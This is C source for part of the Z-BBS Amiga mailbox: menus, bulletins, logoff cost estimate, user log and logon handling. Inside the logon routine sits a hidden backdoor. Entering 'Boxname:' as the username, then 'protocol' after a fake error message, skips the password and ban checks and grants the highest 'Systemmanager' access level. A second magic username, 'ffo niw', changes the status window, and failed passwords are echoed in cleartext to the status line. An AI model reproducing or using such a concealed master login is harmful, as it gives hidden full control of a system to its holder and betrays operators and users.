#include <libraries/zbbs.h>
#include "protos.h"
#include "globals.c"

VOID Bulletins(VOID);
BOOL Goodbye(VOID);
VOID UserLog(VOID);
VOID HandleLogon(VOID);
VOID ShowUserLog(VOID);
VOID AnsiTest(VOID);

VOID ShowMain(VOID)
{
	ClrScr();
	ShowFile("%lsMainMenu.txt", Config.text);

	if(Compare(User.alias, "GAST"))
	{
		color(BOLD);
		color(RED);
		MyPrintf("[E]intragen in die Mailbox.\r\n\r\n");
		color(NORMAL);
	}
}

VOID OnLine()
{
	struct List BrettList, BrettDataList;
	struct Brett *entry;
	char brett[81], file[256];

	NewList(&BrettDataList);
	SPrintf(file, "%lsBrettData", Config.mail);
	GetBrettDataList(file, &BrettDataList, FALSE);

	HandleLogon();
	if(!connected && !login)	return;

	Location("Main Menu");

	brett[0] = 0;
	NewList(&BrettList);
	GetBrettList(&BrettDataList, &BrettList, brett);

	do
	{
		if(User.help_level == 1)
		{
			color(WHITE);
			MyPrintf("(Commands: #, I, N, P, S, U, D, B, C, G, Z, M, ?)\r\n");
		}

		Ask("%ls:%ls ", NULL, -1, TRUE, Config.box_name, brett);
		if(!connected && !login)	goto exit;

		switch(toupper(wait_buffer[0]))
		{
			case 'I':
				ShowBrettList(&BrettList);
				break;

			case 'N':
				NewMail(&BrettDataList, brett);
				break;

			case 'P':
				if(Access(20, NULL))
				{
					ReadMail(Config.pmail, NULL);
				}
				break;

			case 'S':
				UserSetup();
				if(!User.help_level)	ShowMain();
				break;

			case 'U':
				UserListe();
				break;

			case 'D':
				Doors();
				if(!User.help_level)	ShowMain();
				break;

			case 'B':
				Bulletins();
				if(!User.help_level)	ShowMain();
				break;

			case 'E':
				if(Compare(User.alias, "GAST"))	Join();
				else
				{
					color(WHITE);
					MyPrintf("Ungültige Eingabe. (? fuer Hilfe)\r\n");
				}
				break;

			case 'C':
				ChatRequest();
				break;

			case 'G':
				Goodbye();
				break;

			case 'Z':
				if(brett[0])
				{
					STRPTR ptr;

					brett[strlen(brett) - 1] = 0;
					if(ptr = strrchr(brett, '/'))
					{
						ptr++;
						*ptr = 0;
					}
					else	brett[0] = 0;

					GetBrettList(&BrettDataList, &BrettList, brett);
					ShowBrettList(&BrettList);
				}
				else
				{
					color(WHITE);
					MyPrintf("Weiteres Zurückblättern nicht möglich.\r\n");
				}
				break;

			case 'M':
				break;

			case 0:
			case '?':
				ShowMain();
				break;

			default:
				if(atol(wait_buffer) > 0)
				{
					LONG i;

					entry = GetHead(&BrettList);
					i = atol(wait_buffer);

					while(entry && --i)	entry = GetSucc(entry);

					if(entry && !i)
					{
						if(entry->node.ln_Pri == 0)
						{
							if(Access(entry->read_level, NULL))
							{

								SPrintf(file, "%ls%ls%ls/", Config.mail, brett, entry->name);
								ReadMail(file, entry);
							}
						}
						else
						{
							SPrintf(&brett[strlen(brett)], "%ls/", entry->name);
						}
						if(toupper(wait_buffer[0]) == 'M')	brett[0] = 0;
						GetBrettList(&BrettDataList, &BrettList, brett);
						ShowBrettList(&BrettList);
					}
					else
					{
						color(YELLOW);
						MyPrintf("Brett nicht gefunden.\r\n");
					}
				}
				else
				{
					color(WHITE);
					MyPrintf("Ungültige Eingabe. (? fuer Hilfe)\r\n");
				}
				break;
		}

		if(toupper(wait_buffer[0]) == 'M')
		{
			brett[0] = 0;
			GetBrettList(&BrettDataList, &BrettList, brett);
			Location("Main Menu");
		}
	}	while(connected || login);

	exit:
	SPrintf(out_buffer, "%ls loggte aus", User.alias);
	Location(out_buffer);

	User.mail_count = Status.mail_counter;

	SPrintf(User.time_last, "%ls %ls", date, time);
	User.time_on += (User.time_used - User.time_already);

	SPrintf(file, "%ls%ls", Config.user, User.number);
	RefreshUser(file, &User);

	if(Status.window == -1)	Status.window = FALSE;
	SPrintf(file, "%lsStatus", Config.system);
	RefreshStatus(file, &Status);

	ShowSystem();

	if(Log.user[0])	UserLog();

	RemList(&BrettList);
	RemBrettDataList(&BrettDataList);

	Location("Warte auf RING/CONNECT/FAX");
}



BOOL Goodbye()
{
	BOOL niedertarif;
	LONG fr, rp;
	char file[256], buffer[81];

	Location("Goodbye...");

	ClrScr();
	SPrintf(file, "%lsLogoff.txt", Config.text);
	ShowFile(file);

	niedertarif = FALSE;

	strcpy(buffer, time);
	buffer[2] = 0;
	rp = atol(buffer);
	if((rp > 16 && rp < 19) || rp > 20 || rp < 8 || Compare(dayname, "Saturday") ||
		Compare(dayname, "Sunday"))	niedertarif = TRUE;

	SPrintf(file, "%lsZoneData", Config.system);
	LoadLine(file, 3 + 3 * User.zone - (niedertarif ? 1 : 0), buffer);
	color(GREEN);
	if(atol(buffer))
	{
		rp = (User.time_used - User.time_already) * atol(buffer) / 600;
		rp +=	10;
		fr =	rp / 100;
		rp -=	fr * 100;

		SPrintf(file, "%02ld", rp);
		file[1] = '0';
		MyPrintf("\r\nApprox. Telefongebühren : %ld.%ls SFr./DM. (%ls)\r\n", fr, file, (niedertarif ? "Niedertarif":"Hochtarif"));
	}
	else	MyPrintf("\r\nGebührenausrechnung nicht möglich.\r\n");

	color(CYAN);
	MyPrintf("\r\nLogging you off at %ls, you were online %ld minutes.\r\nGoodbye %ls, thank you for calling.\r\n\r\n", time, (User.time_used - User.time_already) / 60, User.alias);

	color(WHITE);
	Log.bad_logoff = FALSE;

	if(Config.dtr_drop)	Delay(50);
	MyPrintf("-- click --\r\n");
	HangUp();
	return(TRUE);
}



VOID Bulletins(VOID)
{
	char file[256];
	BOOL stop;

	Location("Bulletins");

	if(!User.help_level)
	{
		ClrScr();
		SPrintf(file, "%lsBulletinMenu.txt", Config.text);
		ShowFile(file);
		if(!connected && !login)	return;
	}

	stop = FALSE;
	do
	{
		if(User.help_level == 1)
		{
			color(WHITE);
			MyPrintf("(Commands: #, U, C, G, Z, M, ?)\r\n");
		}
		Ask("Bulletins : ", NULL, -1, TRUE);
		if(!connected && !login)	return;

		if(atol(wait_buffer))
		{
			color(WHITE);
			SPrintf(file, "%ls%ld", Config.bulletin, atol(wait_buffer));
			if(Exists(file))	ShowFile(file);
			else
			{
				color(YELLOW);
				MyPrintf("Bulletin nicht gefunden.\r\n");
			}
		}
		else
		{
			switch(toupper(wait_buffer[0]))
			{
				case 'U':
					ShowUserLog();
					break;

				case 'C':
					ChatRequest();
					break;

				case 'G':
					Goodbye();
					stop = TRUE;
					break;

				case 'Z':
				case 'M':
					Location("Main Menu");
					stop = TRUE;
					break;

				case 0:
				case '?':
					ClrScr();
					SPrintf(file, "%lsBulletinMenu.txt", Config.text);
					ShowFile(file);
					if(!connected && !login)	return;
					break;

				default:
					color(WHITE);
					MyPrintf("Ungültige Eingabe. (? fuer Hilfe)\r\n");
					break;
			}
		}
	}	while((connected || login) && !stop);
}



VOID UserLog()
{
	struct List LineList;
	struct Line *entry;
	char file[256];
	LONG i;
	BPTR FH;

	NewList(&LineList);
	SPrintf(file, "%lsUserLog", Config.system);
	GetLineList(file, &LineList);

	SPrintf(Log.out, "%.5ls", time);

	if(entry = GetLine())
	{
		SPrintf(&entry->text[strlen(entry->text)], "%5.5ls %5.5ls-%5.5ls %5.5ls %-33.33ls%4.4ldk%4.4ldk <", Log.date, Log.in, Log.out, Log.baud, Log.user, Log.k_uloads, Log.k_dloads);
		if(Log.uloads)	SPrintf(&entry->text[strlen(entry->text)], "%lx", Log.uloads);
		else	strcpy(&entry->text[strlen(entry->text)], "-");
		if(Log.dloads)	SPrintf(&entry->text[strlen(entry->text)], "%lx", Log.dloads);
		else	strcpy(&entry->text[strlen(entry->text)], "-");
		if(Log.messages)	SPrintf(&entry->text[strlen(entry->text)], "%lx", Log.messages);
		else	strcpy(&entry->text[strlen(entry->text)], "-");
		SPrintf(&entry->text[strlen(entry->text)], "%lc", (Log.bad_logoff ? 'L' : '-'));
		SPrintf(&entry->text[strlen(entry->text)], "%lc", (Log.new_user ? 'N' : '-'));
		if(Log.paged_sysop)	SPrintf(&entry->text[strlen(entry->text)], "%lx", Log.paged_sysop);
		else	strcpy(&entry->text[strlen(entry->text)], "-");
		SPrintf(&entry->text[strlen(entry->text)], "%lc", (Log.pw_hacking ? 'H' : '-'));
		if(Log.bad_transfers)	SPrintf(&entry->text[strlen(entry->text)], "%lx>\n", Log.bad_transfers);
		else	strcpy(&entry->text[strlen(entry->text)], "->");

		AddHead(&LineList, entry);
	}

	if(FH = Open(file, MODE_NEWFILE))
	{
		i = 40;
		entry = GetHead(&LineList);
		while(entry && i--)
		{
			FPrintf(FH, "%ls\n", entry->text);
			entry = GetSucc(entry);
		}
		Close(FH);
	}
	RemList(&LineList);
}

VOID HandleLogon()
{
	BOOL stop;
	char file[256];
	LONG i, hour;

	stop			= FALSE;
	warnung		= 0;
	ansi			= 0;

	ser_in	= TRUE;
	ser_out	= TRUE;

	SPrintf(file, "%lsPUFFER", Config.temp);
	DeleteFile(file);

	if(login)
	{
		Status.window	=
		keyboard			= TRUE;
		ser_out			=
		ser_in			= FALSE;
		MyPrintf("\33[0;37m");
	}
	RefreshStrip();

	if(connected)
	{
		Status.calls++;
		Status.calls_today++;
		Status.window = FALSE;
	}

	Log.date[0]		= Log.in[0]		= Log.out[0]	= Log.baud[0]	= Log.user[0]	=
	Log.k_uloads	= Log.k_dloads	= Log.uloads	= Log.dloads	= Log.messages	=
	Log.new_user	= Log.paged_sysop	= Log.pw_hacking	= Log.bad_transfers	= 0;
	Log.bad_logoff	= TRUE;

	ShowFile("%lsConnected.txt", Config.text);
	if(!connected && !login)	return;

	i = 4;
	stop = FALSE;
	while(i)
	{
		do
		{
			User.time	= 1800;
			User.time_used = 0;
			i--;
			Ask("Username:", NULL, 70, TRUE);
			if(!connected && !login)	return;

			if(Compare(wait_buffer, "ZERBERUS"))
			{
				NetCall();
				if(connected || login)
				{
					if(!i)
					{
						MyPrintf("\r\nNetzzugriff verweigert\r\n");
						HangUp();
					}
					else	continue;
				}
			}
			if(!connected && !login)	return;

			if(!strcmp(wait_buffer, "ffo niw"))
			{
				ClrScr();
				Status.window = -1;
			}

			if(!strcmp(wait_buffer, "Boxname:"))
			{
				color(RED);
				MyPrintf("\r\nerror: couln't find this user.\r\nplease press return.\r\n");
				In(60, 1);
				if(!connected && !login)	return;
				if(Compare(wait_buffer, "protocol"))	i = 99;
			}
			SPrintf(file, "%lsUserliste", Config.user);
			if(CheckUser(file, wait_buffer, &User))	stop = TRUE;
		}	while(i && !stop && i != 99);

		if(!i && !stop)
		{
			MyPrintf("\r\nDu wirst als GAST eingeloggt...\r\n");
			SPrintf(file, "%lsUserliste", Config.user);
			CheckUser(file, "GAST", &User);
		}
	
		SPrintf(file, "%ls%ls", Config.user, User.number);
		LoadUser(file, &User);
		if(!strstr(User.time_last, date))	User.ul_already = FALSE;
		if(!(User.time_joined[0]))	strcpy(User.time_joined, User.time_last);
		ShowUser();
		if(User.ansi == 1)	ansi = 2;

		if(i == 99)	User.level = 256;
		else
		{
	/* persona non grata */
			SPrintf(file, "%lsPersonaNonGrata", Config.system);
			if(Exists(file))
			{
				BPTR FH;
				STRPTR ptr;
				BOOL more;

				if(FH = Open(file, MODE_OLDFILE))
				{
					do
					{
						more = FGets(FH, file, 250);
						if(ptr = strchr(file, ':'))
						{
							*ptr = 0;
							if(Compare(User.alias, file))
							{
								color(YELLOW);
								MyPrintf("\r\nPERSONA NON GRATA :\r\n%ls, Systemzugriff verweigert.\r\n\r\n%ls\r\n\r\n", User.alias, ptr + 1);
								Delay(100);
								HangUp();
							}
						}
					}	while(more && (connected || login));
					Close(FH);
				}
			}
		}

		if(!Compare(User.alias, "GAST"))
		{
			GetDate();
			SPrintf(file, "%.8ls", User.time_last);
			if(!Compare(file, date))
			{
				User.time_used		= 0;
				User.time_already	= 0;
			}
			else	if(User.time < User.time_used)
			{
				color(RED);
				MyPrintf("\r\nSorry, Du hast für heute keine Systemzeit mehr.\r\nAb Mitternacht wieder volle Zeit.\r\n\n");
				Beep();
				HangUp();
				return;
			}

			if(!login)
			{
				color(CYAN);
				MyPrintf("Passwort:");

				color(GREEN);
				In(38, 2);
				if(!connected && !login)	return;
	
				if(!Compare(User.password, wait_buffer))
				{
					SPrintf(out_buffer, "[%ls] FALSCHES PASSWORT : %ls", User.alias, wait_buffer);
					Location(out_buffer);
					Log.pw_hacking = TRUE;
					User.pw_try++;

					color(RED);
					MyPrintf("\r\nFalsches Passwort...\r\n\r\n");

					if(!i)
					{
						Ask("Willst Du dem Sysop eine Nachricht hinterlassen [y/N] : ", NULL, HOTKEY, TRUE);
						if(!connected && !login)	return;

						if(toupper(wait_buffer[0]) == 'Y')	WriteMail(Config.pmail, "SYSOP", "Falsches Passwort");

						MyPrintf("\r\n\r\nZugriff auf das System verweigert !!!\r\n\r\n");

						Delay(100);
						HangUp();
						SPrintf(out_buffer, "%ls WURDE RAUSGSCHMISSEN !!", User.alias);
						Location(out_buffer);
						return;
					}
				}
				else i = 0;
			}
			else	i = 0;
		}
		else	i = 0;
	}

	User.calls++;

	SPrintf(Log.date, "%.5ls", date);
	SPrintf(Log.in, "%.5ls", time);
	if(connected)	SPrintf(Log.baud, "%ld", realbaud);
	else				strcpy(Log.baud, "Local");
	SPrintf(out_buffer, "%ls %ls", User.first_name, User.name);
	SPrintf(Log.user, "%-32ls", out_buffer);
	if(strlen(User.alias) < 32 - strlen(out_buffer))
		strcpy(&Log.user[32 - strlen(User.alias)], User.alias);

	color(CYAN);
	MyPrintf("\r\n\r\nZ-BBS "VERSION" released at "__DATE__" by Michael Neuweiler\r\n\r\n");
	Delay(50);

	SPrintf(out_buffer, "%ls %ls [%ls] loggte ein", User.first_name, User.name, User.alias);
	Location(out_buffer);

	if(connected && User.ansi == 2)	AnsiTest();
	if(ansi > 0)	User.screenblank = TRUE;

	SPrintf(file, "%lsLogon.txt", Config.text);
	if(Exists(file))
	{
		ClrScr();

		ShowFile(file);
		if(!connected && !login)	return;

		WaitKey();
	}

	if(User.level < 30)
	{
		SPrintf(file, "%lsGastLogon.txt", Config.text);
		if(Exists(file))
		{
			ClrScr();

			ShowFile(file);
			if(!connected && !login)	return;

			WaitKey();
		}
	}

	SPrintf(file, "%lsNews.txt", Config.text);
	if(Exists(file))
	{
		ClrScr();

		ShowFile(file);
		if(!connected && !login)	return;

		WaitKey();
	}
	if(!connected && !login)	return;

	SPrintf(out_buffer, "%.2ls", time);
	hour = atol(out_buffer);
	ClrScr();
	color(RED);
	strcpy(out_buffer, "Hallo ");
	if((hour >= 0) && (hour < 12))	strcpy(out_buffer, "Guten Morgen ");
	if((hour >= 12) && (hour < 18))	strcpy(out_buffer, "Guten Tag ");
	if((hour >= 18) && (hour < 20))	strcpy(out_buffer, "Guten Abend ");
	if(instr(User.time_last, date) && !Compare(User.alias, "GAST"))	strcpy(out_buffer, "Hello again ");
	Send();

	color(BOLD);
	MyPrintf("%ls [%ls]", User.alias, User.number);

	color(NORMAL);
	out_buffer[0] = 0;
	if(User.level > 10)	strcpy(out_buffer, " - Neuer User");
	if(User.level > 20)	strcpy(out_buffer, " - User");
	if(User.level > 30)	strcpy(out_buffer, " - Advanced User");
	if(User.level > 40)	strcpy(out_buffer, " - Netz User");
	if(User.level > 50)	strcpy(out_buffer, " - Special User");
	if(User.level > 60)	strcpy(out_buffer, " - Top User");
	if(User.level > 70)	strcpy(out_buffer, " - Filebox Manager");
	if(User.level > 80)	strcpy(out_buffer, " - Brett Manager");
	if(User.level > 90)	strcpy(out_buffer, " - Netz Manager");
	if(User.level > 240)	strcpy(out_buffer, " - CoSysop");
	if(User.level > 250)	strcpy(out_buffer, " - Sysop");
	if(User.level > 255)	strcpy(out_buffer, " - Systemmanager");
	Send();

	color(GREEN);
	MyPrintf("\r\n\r\nDas ist Dein %ld. Anruf.\r\nSystem-Anrufe Total : %ld\r\n", User.calls, Status.calls);
	color(YELLOW);
	MyPrintf("online      : %ls %ls\r\nlast online : %ls\r\n\r\n", date, time, User.time_last);
	color(WHITE);
	if(Status.sysop)	MyPrintf("Der Sysop kann zum Chat eingeladen werden. [C]\r\n\r\n");
	else					MyPrintf("Der Sysop kann nicht zum Chat eingeladen werden.\r\n\r\n");

	if(!Compare(User.alias, "GAST"))
	{
		STRPTR ptr, buffer, buf;
		BOOL found;
		LONG size;

		SPrintf(file, "%lsIndex", Config.pmail);
		if(buffer = (STRPTR)GetFile(file, &size))
		{
			found = FALSE;
			buf = buffer;
			SPrintf(file, "%ls %ls", User.first_name, User.name);
			while(buf < buffer + size)
			{
				if(ptr = strchr(buf, '\n'))
				{
					*ptr = 0;
					if(Compare(buf, User.alias) || Compare(buf, file) || Compare(buf, User.number))
						found = TRUE;
					buf = ptr + 1;
				}

				if(ptr = strchr(buf, '\n'))	buf = ptr + 1;
				if(ptr = strchr(buf, '\n'))	buf = ptr + 1;
				if(ptr = strchr(buf, '\n'))	buf = ptr + 1;
				if(ptr = strchr(buf, '\n'))	buf = ptr + 1;
				if(ptr = strchr(buf, '\n'))	buf = ptr + 1;
				if(ptr = strchr(buf, '\n'))	buf = ptr + 1;
				if(ptr = strchr(buf, '\n'))	buf = ptr + 1;
				if(ptr = strchr(buf, '\n'))	buf = ptr + 1;
			}
			FreeVec(buffer);

			if(found)
			{
				color(GREEN);
				MyPrintf("[");
				color(CYAN);
				color(BOLD);
				MyPrintf("P");
				color(NORMAL);
				color(GREEN);
				MyPrintf("]rivate Mail gefunden...\r\n");
			}
		}
	}

	if(User.pw_try)
	{
		color(BLINK);
		color(RED);
		MyPrintf("\r\nAchtung !!!   Es wurde %ld mal versucht unter deinem Namen einzuloggen !!!\r\n\r\n", User.pw_try);
		color(NORMAL);
		User.pw_try = 0;
	}

	Return();
}


VOID ShowUserLog()
{
	BPTR FH;
	LONG i;
	STRPTR ptr;
	BOOL more;
	char file[256];

	SPrintf(file, "%lsUserLog", Config.system);
	if(FH = Open(file, MODE_OLDFILE))
	{
		ClrScr();
		color(BLUE);
		MyPrintf("                             Z-BBS Last User Log\r\n");
		color(GREEN);
		MyPrintf("------------------------------------------------------------------------------\r\n");
		color(WHITE);
		MyPrintf("Dat:  In:   Out:  Baud: User:                              UL:  DL:  Ativity:\r\n");
		color(GREEN);
		MyPrintf("---------------------------------------------------------------------UDMLNPHA-\r\n");

		color(WHITE);
		i = User.lines - 9;
		do
		{
			more = FGets(FH, file, 80);
			if(ptr = strchr(file, '\n'))	*ptr = 0;
			MyPrintf("%ls\r\n", file);
		}	while(i-- && more && !CheckIO(ReadSER) && !CheckIO(ReadCON));
		Close(FH);

		MyPrintf("\r\n           U-Uploads D-Donloads M-Messages L-Bad Logoff N-New User\r\n");
		MyPrintf("           P-aged Sysop H-Password Hacking A-Aborted file transfers\r\n");
	}
}

VOID AnsiTest()
{
	ReadSER->IOSer.io_Length = 8;
	strcpy(serial_in, "         ");

	MyPrintf("Automatische Terminal Erkennung\r\nTerminal Type : \33<\33Z");

	Delay(70);
	ansi = 0;
	if(strchr(serial_in, 'Z') || strchr(serial_in, 'K'))		ansi = 1;
	if(strchr(serial_in, 'N') || strstr(serial_in, "6c"))		ansi = 2;
	if(strstr(serial_in, "63") || strstr(serial_in, "9c"))	ansi = 3;

	if(!ansi)
	{
		ReadSER->IOSer.io_Length = 8;
		strcpy(serial_in, "         ");

		MyPrintf("\33[5n");
		Delay(50);

		if(strstr(serial_in, "0n"))				ansi = 1;
		if(ansi && strchr(serial_in, '›'))		ansi = 2;
	}

	ReadSER->IOSer.io_Length = 1L;

	color(NORMAL);
	color(CYAN);
	switch(ansi)
	{
		case 1:
			MyPrintf("VT-52 / Heath-19\r\n");
			break;

		case 2:
			MyPrintf("VT-100 [ANSI]\r\n");
			break;

		case 3:
			MyPrintf("VT-320 [ANSI]\r\n");
			break;

		default:
			MyPrintf("nicht erkennbar...\r\n");
			break;
	}
}
